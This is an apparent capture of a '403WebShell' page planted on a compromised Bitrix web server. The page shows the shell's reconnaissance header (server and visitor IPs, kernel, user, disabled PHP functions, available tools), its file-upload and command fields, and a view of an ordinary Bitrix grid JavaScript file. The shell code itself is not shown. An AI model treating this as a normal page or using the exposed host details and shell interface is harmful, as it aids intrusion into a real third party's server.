%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 13.59.232.9
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/tilegrid/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/tilegrid/js/useroptions.js
;(function() {
	'use strict';

	BX.namespace('BX.Main.TileGrid');

	/**
	 * BX.Main.TileGrid.UserOptions
	 * @param {BX.Main.TileGrid} parent
	 * @param {Object} userOptions
	 * @param {Object} userOptionsActions
	 * @param {String} url
	 * @constructor
	 */
	BX.Main.TileGrid.UserOptions = function(parent, userOptions, userOptionsActions, url)
	{
		this.options = null;
		this.actions = null;
		this.parent = null;
		this.url = null;
		this.init(parent, userOptions, userOptionsActions, url);
	};

	BX.Main.TileGrid.UserOptions.prototype = {
		init: function(parent, userOptions, userOptionsActions, url)
		{
			this.url = url;
			this.parent = parent;

			try {
				this.options = eval(userOptions);
			} catch(err) {
				console.warn('BX.Main.TileGrid.UserOptions.init: Failed parse user options json string');
			}

			try {
				this.actions = eval(userOptionsActions);
			} catch(err) {
				console.warn('BX.Main.TileGrid.UserOptions.init: Failed parse user options actions json string');
			}
		},

		getCurrentViewName: function()
		{
			var options = this.getOptions();

			return 'current_view' in options ? options.current_view : null;
		},

		getViewsList: function()
		{
			var options = this.getOptions();

			return 'views' in options ? options.views : {};
		},

		getCurrentOptions: function()
		{
			var name = this.getCurrentViewName();
			var views = this.getViewsList();
			var result = null;

			if (name in views)
			{
				result = views[name];
			}

			if (!BX.type.isPlainObject(result))
			{
				result = {};
			}

			return result;
		},

		getUrl: function(action)
		{
			return BX.util.add_url_param(this.url, {
				GRID_ID: this.parent.getId(),
				action: action
			});
		},

		getOptions: function()
		{
			return this.options || {};
		},

		getActions: function()
		{
			return this.actions;
		},

		getAction: function(name)
		{
			var action = null;

			try {
				action = this.getActions()[name];
			} catch (err) {
				action = null;
			}

			return action;
		},

		update: function(newOptions)
		{
			this.options = newOptions;
		},

		setColumns: function(columns, callback)
		{
			var options = this.getCurrentOptions();

			if (BX.type.isPlainObject(options))
			{
				options.columns = columns.join(',');

				this.save(this.getAction('GRID_SET_COLUMNS'), {columns: options.columns}, callback);
			}

			return this;
		},

		setColumnsNames: function(columns, callback)
		{
			var options = {view_id: 'default'};

			if (BX.type.isPlainObject(options))
			{
				options.custom_names = columns;

				this.save(this.getAction('SET_CUSTOM_NAMES'), options, callback);
			}

			return this;
		},

		setColumnSizes: function(sizes, expand)
		{
			this.save(this.getAction('GRID_SET_COLUMN_SIZES'), {sizes: sizes, expand: expand});
		},

		reset: function(forAll, callback)
		{
			var data = {};

			if (!!forAll)
			{
				data = {
					view_id: 'default',
					set_default_settings: 'Y',
					delete_user_settings: 'Y',
					view_settings: this.getCurrentOptions()
				};
			}

			this.save(this.getAction('GRID_RESET'), data, callback);
		},

		setSort: function(by, order, callback)
		{
			if (by && order)
			{
				this.save(this.getAction('GRID_SET_SORT'), {by: by, order: order}, callback);
			}

			return this;
		},

		setPageSize: function(pageSize, callback)
		{
			if (BX.type.isNumber(parseInt(pageSize)))
			{
				this.save(this.getAction('GRID_SET_PAGE_SIZE'), {pageSize: pageSize}, callback);
			}
		},

		setExpandedRows: function(ids, callback)
		{
			BX.type.isArray(ids) && this.save(this.getAction('GRID_SET_EXPANDED_ROWS'), {ids: ids}, callback);
		},

		setCollapsedGroups: function(ids, callback)
		{
			BX.type.isArray(ids) && this.save(this.getAction('GRID_SET_COLLAPSED_GROUPS'), {ids: ids}, callback);
		},

		resetExpandedRows: function()
		{
			this.save(this.getAction('GRID_RESET_EXPANDED_ROWS'), {});
		},

		saveForAll: function(callback)
		{
			this.save(
				this.getAction('GRID_SAVE_SETTINGS'),
				{
					view_id: 'default',
					set_default_settings: 'Y',
					delete_user_settings: 'Y',
					view_settings: this.getCurrentOptions()
				},
				callback
			);
		},

		batch: function(data, callback)
		{
			this.save(this.getAction('GRID_SAVE_BATH'), {bath: data}, callback);
		},

		save: function(action, data, callback)
		{
			var self = this;
			BX.ajax.post(
				this.getUrl(action),
				data,
				function(res)
				{
					try {
						res = JSON.parse(res);
						if (!res.error)
						{
							self.update(res);
							if (BX.type.isFunction(callback))
							{
								callback(res);
							}
						}
					} catch (err) {}
				}
			);
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit